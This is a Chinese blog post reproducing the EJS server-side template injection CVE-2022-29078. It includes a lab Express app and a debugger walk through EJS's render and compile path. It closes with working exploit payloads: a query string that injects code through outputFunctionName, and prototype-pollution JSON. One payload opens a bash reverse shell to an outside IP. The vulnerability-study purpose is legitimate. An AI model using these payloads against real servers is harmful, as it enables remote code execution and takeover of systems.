EJS模板注入漏洞分析(CVE-2022-29078)

发布时间 2023-10-19 16:59:49作者: Icfh

主要参考https://xz.aliyun.com/t/12323#toc-9进行复现

EJS

介绍和用法可见官网:https://ejs.bootcss.com/#features

EJS 是一套简单的模板语言,帮你利用普通的 JavaScript 代码生成 HTML 页面。EJS 没有如何组织内容的教条;也没有再造一套迭代和控制流语法;有的只是普通的 JavaScript 代码而已。

CVE-2022-29078:ejs-SSTI

漏洞利用条件

  • ejs@3.1.6

漏洞调试

demo如下:

// app.js
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});
<html>
<head>
    <title>Lab CVE-2022-29078</title>
</head>

<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
  • 调用栈

image-20231019150444052

res.render处打下断点,强制进入

  • repsonse.js下的render

这是express处理路由时,需要渲染首先先载入上下文环境,然后进一步render

image-20231019151127801

  • application.js下的render

进入render后开始处理模板

image-20231019153340006

然后进入视图渲染

image-20231019153518523

启动ejs模板引擎

image-20231019153606818

  • 进入libs/ejs.js中的renderFile

首先浅拷贝opt,然后进入tryHandleCache

image-20231019155048076

  • tryHandlerCache

    首先判断是否有回调函数,有的话则进入else语块内

image-20231019155310953

​ 然后进入缓存处理,判断是否启用缓存和判断是否已经存在模板,进行模板的懒加载

image-20231019160521693

​ 传入template和opt,进行compile

image-20231019162435024

​ 进入templ.complie进行拼接,此时可以进行代码注入

image-20231019162525168

​ 返回函数

image-20231019163125114

​ 函数调用,在apply中执行js代码

image-20231019163103246

  • 在最终的index.ejs文件中可以查看到模板注入的代码

image-20231019143554816

EXP

image-20231019164250644

注入点在opt.outputFunctionName

?test=111&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc.exe');s

配合原型链污染完成代码注入

能够恶意代码的前提是,代码能够被注入,原型链污染提供了另一种代码注入的思路。

大致过程和上述的漏洞调试过程相同。只是此步的outputFunctionName来自于原型继承:

image-20231019162525168

所以只要配合原型链污染漏洞(原型链污染往往来自其他函数的滥用),将上游的outputFunctionName污染即可

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}